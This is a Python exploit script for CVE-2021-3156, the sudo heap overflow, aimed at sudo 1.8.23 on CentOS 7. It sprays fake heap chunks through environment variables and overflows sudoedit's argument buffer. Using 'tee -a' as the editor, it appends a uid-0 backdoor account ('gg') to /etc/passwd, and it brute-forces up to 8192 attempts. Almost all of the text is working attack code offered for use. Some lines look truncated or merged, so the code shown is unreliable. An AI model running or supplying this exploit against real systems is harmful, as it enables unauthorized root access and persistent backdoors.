#!/usr/bin/python ''' Exploit for CVE-2021-3156 on CentOS 7 by sleepya Simplified version of exploit_userspec.py for easy understanding. - Remove all checking code - Fixed all offset (no auto finding) Note: This exploit only work on sudo 1.8.23 on CentOS 7 with default configuration Note: Disable ASLR before running the exploit (also modify STACK_ADDR_PAGE below) if you don't want to wait for bruteforcing ''' import os import sys import resource from struct import pack from ctypes import cdll, c_char_p, POINTER SUDO_PATH = b"/usr/bin/sudo" # can be used in execve by passing argv[0] as "sudoedit" PASSWD_PATH = '/etc/passwd' APPEND_CONTENT = b"gg:$5$a$gemgwVPxLx/tdtByhncd4joKlMRYQ3IVwdoBXPACCL2:0:0:gg:/root:/bin/bash\n"; #STACK_ADDR_PAGE = 0x7fffffff1000 # for ASLR disabled STACK_ADDR_PAGE = 0x7fffe5d35000 libc = cdll.LoadLibrary("libc.so.6") libc.execve.argtypes = c_char_p,POINTER(c_char_p),POINTER(c_char_p) def execve(filename, cargv, cenvp): libc.execve(filename, cargv, cenvp) def spawn_raw(filename, cargv, cenvp): pid = os.fork() if pid: # parent _, exit_code = os.waitpid(pid, 0) return exit_code else: # child execve(filename, cargv, cenvp) exit(0) def spawn(filename, argv, envp): cargv = (c_char_p * len(argv))(*argv) cenvp = (c_char_p * len(env))(*env) return spawn_raw(filename, cargv, cenvp) resource.setrlimit(resource.RLIMIT_STACK, (resource.RLIM_INFINITY, resource.RLIM_INFINITY)) # expect large hole for cmnd size is correct TARGET_CMND_SIZE = 0x1b50 argv = [ "sudoedit", "-A", "-s", PASSWD_PATH, "A"*(TARGET_CMND_SIZE-0x10-len(PASSWD_PATH)-1)+"\\", None ] SA = STACK_ADDR_PAGE ADDR_REFSTR = pack('var chunk (get freed) '\x21', '', '', '', '', '', '', ADDR_PRIV[:6], '', # pointer to privilege ADDR_CMND[:6], '', # pointer to cmndspec ADDR_MEMBER[:6], '', # pointer to member # fake def->binding (list head) (get freed) '\x21', '', '', '', '', '', '', '', '', '', '', '', '', '', '', # members.first 'A'*0x10 + # members.last, pad # userspec chunk (get freed) '\x41', '', '', '', '', '', '', # chunk metadata '', '', '', '', '', '', '', '', # entries.tqe_next 'A'*8 + # entries.tqe_prev '', '', '', '', '', '', '', '', # users.tqh_first ADDR_MEMBER[:6]+'', '', # users.tqh_last '', '', '', '', '', '', '', '', # privileges.tqh_first ADDR_PRIV[:6]+'', '', # privileges.tqh_last '', '', '', '', '', '', '', '', # comments.stqh_first # member chunk '\x31', '', '', '', '', '', '', # chunk size , userspec.comments.stqh_last (can be any) 'A'*8 + # member.tqe_next (can be any), userspec.lineno (can be any) ADDR_MEMBER_PREV[:6], '', # member.tqe_prev, userspec.file (ref string) 'A'*8 + # member.name (can be any because this object is not freed) pack('prev->prev->next "\x61\\", "\\", "\\", "\\", "\\", "\\", "\\", # chunk size ADDR_USER[:6]+'\\', '\\', # entries.tqe_next points to fake userspec in stack "A"*8 + # entries.tqe_prev "\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\", # users.tqh_first ADDR_MEMBER[:6]+'\\', '\\', # users.tqh_last "\\", "\\", "\\", "\\", "\\", "\\", "\\", "", # privileges.tqh_first "LC_ALL=C", "SUDO_EDITOR=/usr/bin/tee -a", # append stdin to /etc/passwd "TZ=:", ] ENV_STACK_SIZE_MB = 4 for i in range(ENV_STACK_SIZE_MB * 1024 / 4): env.extend(epage) # last element. prepare space for '/usr/bin/sudo' and extra 8 bytes env[-1] = env[-1][:-len(SUDO_PATH)-1-8] env.append(None) cargv = (c_char_p * len(argv))(*argv) cenvp = (c_char_p * len(env))(*env) # write passwd line in stdin. it will be added to /etc/passwd when success by "tee -a" r, w = os.pipe() os.dup2(r, 0) w = os.fdopen(w, 'w') w.write(APPEND_CONTENT) w.close() null_fd = os.open('/dev/null', os.O_RDWR) os.dup2(null_fd, 2) for i in range(8192): sys.stdout.write('%d\r' % i) if i % 8 == 0: sys.stdout.flush() exit_code = spawn_raw(SUDO_PATH, cargv, cenvp) if exit_code == 0: print("success at %d" % i) break